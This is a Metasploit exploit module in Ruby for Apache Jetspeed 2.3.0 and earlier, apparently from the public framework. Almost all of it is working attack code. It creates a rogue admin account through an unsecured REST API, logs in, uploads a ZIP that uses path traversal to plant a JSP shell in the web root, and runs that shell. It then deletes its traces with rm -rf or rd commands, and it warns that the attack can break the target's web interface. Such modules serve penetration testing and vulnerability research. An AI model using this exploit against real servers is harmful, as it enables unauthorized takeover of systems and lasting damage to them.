## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Jetspeed Arbitrary File Upload', 'Description' => %q{ This module exploits the unsecured User Manager REST API and a ZIP file path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier versions, to upload and execute a shell. Note: this exploit will create, use, and then delete a new admin user. Warning: in testing, exploiting the file upload clobbered the web interface beyond repair. No workaround has been found yet. Use this module at your own risk. No check will be implemented. }, 'Author' => [ 'Andreas Lindh', # Vulnerability discovery 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2016-0710'], ['CVE', '2016-0709'], ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'], ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'], ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710'] ], 'DisclosureDate' => 'Mar 6 2016', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'win'], 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'], ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win'] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(8080) ]) end def print_status(msg='') super("#{peer} - #{msg}") end def print_warning(msg='') super("#{peer} - #{msg}") end def exploit print_status("Creating admin user: #{username}:#{password}") create_admin_user # This was originally a typo... but we're having so much fun! print_status('Kenny Loggins in') kenny_loggins print_warning('You have entered the Danger Zone') print_status("Uploading payload ZIP: #{zip_filename}") upload_payload_zip print_status("Executing JSP shell: /jetspeed/#{jsp_filename}") exec_jsp_shell end def cleanup print_status("Deleting user: #{username}") delete_user super end # # Exploit methods # def create_admin_user send_request_cgi( 'method' => 'POST', 'uri' => '/jetspeed/services/usermanager/users', 'vars_post' => { 'name' => username, 'password' => password, 'password_confirm' => password } ) send_request_cgi( 'method' => 'POST', 'uri' => "/jetspeed/services/usermanager/users/#{username}", 'vars_post' => { 'user_enabled' => 'true', 'roles' => 'admin' } ) end def kenny_loggins res = send_request_cgi( 'method' => 'GET', 'uri' => '/jetspeed/login/redirector' ) res = send_request_cgi!( 'method' => 'POST', 'uri' => '/jetspeed/login/j_security_check', 'cookie' => res.get_cookies, 'vars_post' => { 'j_username' => username, 'j_password' => password } ) @cookie = res.get_cookies end # Let's pretend we're mechanize def import_file res = send_request_cgi( 'method' => 'GET', 'uri' => '/jetspeed/portal/Administrative/site.psml', 'cookie' => @cookie ) html = res.get_html_document import_export = html.at('//a[*//text() = "Import/Export"]/@href') res = send_request_cgi!( 'method' => 'POST', 'uri' => import_export, 'cookie' => @cookie ) html = res.get_html_document html.at('//form[*//text() = "Import File"]/@action') end def upload_payload_zip zip = Rex::Zip::Archive.new zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded) mime = Rex::MIME::Message.new mime.add_part(zip.pack, 'application/zip', 'binary', %Q{form-data; name="fileInput"; filename="#{zip_filename}"}) mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"') mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"') case target['Platform'] when 'linux' register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}") register_files_for_cleanup("../temp/#{username}/#{zip_filename}") when 'win' register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}") register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}") end send_request_cgi( 'method' => 'POST', 'uri' => import_file, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'cookie' => @cookie, 'data' => mime.to_s ) end def exec_jsp_shell send_request_cgi( 'method' => 'GET', 'uri' => "/jetspeed/#{jsp_filename}", 'cookie' => @cookie ) end # # Cleanup methods # def delete_user send_request_cgi( 'method' => 'DELETE', 'uri' => "/jetspeed/services/usermanager/users/#{username}" ) end # XXX: This is a hack because FileDropper doesn't delete directories def on_new_session(session) super case target['Platform'] when 'linux' print_status("Deleting user temp directory: ../temp/#{username}") session.shell_command_token("rm -rf ../temp/#{username}") when 'win' print_status("Deleting user temp directory: ..\\temp\\#{username}") session.shell_command_token("rd /s /q ..\\temp\\#{username}") end end # # Utility methods # def username @username ||= Rex::Text.rand_text_alpha_lower(8) end def password @password ||= Rex::Text.rand_text_alphanumeric(8) end def jsp_filename @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp' end def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' end end